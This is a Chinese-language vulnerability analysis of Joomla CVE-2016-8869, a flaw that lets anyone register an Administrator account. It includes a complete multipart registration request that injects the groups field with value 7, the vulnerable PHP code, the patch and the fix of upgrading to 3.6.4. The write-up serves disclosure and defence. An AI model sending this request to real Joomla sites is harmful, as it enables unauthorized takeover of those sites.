Author: p0wd3r (知道創宇404安全實驗室)

Date: 2016-10-26

漏洞聯動:Joomla未授權創建用戶漏洞(CVE-2016-8870)分析

0x00 漏洞概述

1.漏洞簡介

Joomla是一個自由開源的內容管理系統,近日研究者發現在其3.4.4到3.6.3的版本中存在兩個漏洞:CVE-2016-8869CVE-2016-8870。我們在這里僅分析CVE-2016-8869,利用該漏洞,攻擊者可以在網站關閉注冊的情況下注冊特權用戶。Joomla官方已對此漏洞發布升級公告

2.漏洞影響

網站關閉注冊的情況下仍可創建特權用戶,默認狀態下用戶需要用郵件激活,但需要開啟注冊功能才能激活。

3.影響版本

3.4.4 to 3.6.3

0x01 漏洞復現

1. 環境搭建

wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz

解壓后放到服務器目錄下,例如/var/www/html

創建個數據庫:

docker run --name joomla-mysql -e MYSQL_ROOT_PASSWORD=hellojoomla -e MYSQL_DATABASE=jm -d mysql

訪問服務器路徑進行安裝即可。

2.漏洞分析

注冊

注冊部分可參考:《Joomla未授權創建用戶漏洞(CVE-2016-8870)分析》

提權

下面我們來試著創建一個特權用戶。

在用于注冊的register函數中,我們先看一下$model->register($data)這個存儲注冊信息的方法,在components/com_users/models/registration.php中:

public function register($temp)
    {
        $params = JComponentHelper::getParams('com_users');

        // Initialise the table with JUser.
        $user = new JUser;
        $data = (array) $this->getData();

        // Merge in the registration data.
        foreach ($temp as $k => $v)
        {
            $data[$k] = $v;
        }
        ...
    }

可以看到這里使用我們可控的$temp$data賦值,進而存儲注冊信息。正常情況下,$data在賦值之前是這樣的:

Alt text

而正常情況下我們可控的$temp中是沒有groups這個數組的,所以正常注冊用戶的權限就是我們配置中設置的權限,對應的就是groups的值。

那么提升權限的關鍵就在于更改groups中的值,因為$data由我們可控的$temp賦值,$temp的值來自于請求包,所以我們可以構造如下請求包:

POST /index.php/component/users/?task=registration.register HTTP/1.1
...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryefGhagtDbsLTW5qI
...
Cookie: yourcookie

------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[name]"

attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[username]"

attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password1]"

attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[password2]"

attacker2
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email1]"

attacker2@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[email2]"

attacker2@my.local
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="user[groups][]"

7
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="option"

com_users
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="task"

user.register
------WebKitFormBoundaryefGhagtDbsLTW5qI
Content-Disposition: form-data; name="yourtoken"

1
------WebKitFormBoundaryefGhagtDbsLTW5qI--

這里我們添加一組值:name="user[groups][]" value=7,讓user被當作二維數組,從而groups被識別為數組,并設置數組第一個值為7,對應著Administrator的權限。

然后發包,通過調試可以看到$temp中已經有了groups數組:

Alt text

最后創建了一個權限為Administrator的用戶attacker2:

Alt text

通過存在漏洞的注冊函數我們可以提權,那么在允許注冊的情況下我們可不可以通過正常的注冊函數來提權呢?

通過對比這兩個函數,可以發現這樣一點:

UsersControllerRegistration::register()

public function register()
    {
        ...

        $data = $model->validate($form, $requestData);
        ...

        // Attempt to save the data.
        $return = $model->register($data);
        ...
    }

UsersControllerUser::register()

public function register()
    {
        ...

        $return = $model->validate($form, $data);
        ...

        // Attempt to save the data.
        $return = $model->register($data);
        ...
    }

可以看到UsersControllerRegistration::register()中存儲了對$requestData驗證后的$data,而UsersControllerUser::register()雖然同樣進行了驗證,但是存儲的仍是之前的$data。所以重點是validate函數是否對groups進行了過濾,我們跟進一下,在libraries/legacy/model/form.php中:

public function validate($form, $data, $group = null)
    {
        ...
        // Filter and validate the form data.
        $data = $form->filter($data);
        ...
    }

再跟進filter函數,在libraries/joomla/form/form.php中:

public function filter($data, $group = null)
    {
        ...

        // Get the fields for which to filter the data.
        $fields = $this->findFieldsByGroup($group);

        if (!$fields)
        {
            // PANIC!
            return false;
        }

        // Filter the fields.
        foreach ($fields as $field)
        {
            $name = (string) $field['name'];

            // Get the field groups for the element.
            $attrs = $field->xpath('ancestor::fields[@name]/@name');
            $groups = array_map('strval', $attrs ? $attrs : array());
            $group = implode('.', $groups);

            $key = $group ? $group . '.' . $name : $name;

            // Filter the value if it exists.
            if ($input->exists($key))
            {
                $output->set($key, $this->filterField($field, $input->get($key, (string) $field['default'])));
            }
        }

        return $output->toArray();
    }

可以看到這里僅允許$fields中的值出現在$data中,而$fields中是不存在groups的,所以groups在這里被過濾掉,也就沒有辦法進行權限提升了。

2016-10-27 更新

默認情況下,新注冊的用戶需要通過注冊郵箱激活后才能使用。并且:

Alt text

由于$data['activation']的值會被覆蓋,所以我們也沒有辦法直接通過請求更改用戶的激活狀態。

2016-11-01 更新

感謝三好學生D的提示,可以使用郵箱激活的前提是網站開啟了注冊功能,否則不會成功激活。

我們看激活時的代碼,在components/com_users/controllers/registration.php中第28-99行的activate函數:

public function activate()
{
    $user    = JFactory::getUser();
    $input   = JFactory::getApplication()->input;
    $uParams = JComponentHelper::getParams('com_users');
    ...

    // If user registration or account activation is disabled, throw a 403.
    if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0)
    {
        JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN'));

        return false;
    }

    ...
}

這里可以看到僅當開啟注冊功能時才允許激活,否則返回403。

3.補丁分析

Alt text

官方刪除了UsersControllerUser::register()方法。

0x02 修復方案

升級到3.6.4

0x03 參考

https://www.seebug.org/vuldb/ssvid-92495

https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html

http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html

https://www.youtube.com/watch?v=Q_2M2oJp5l4


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/88/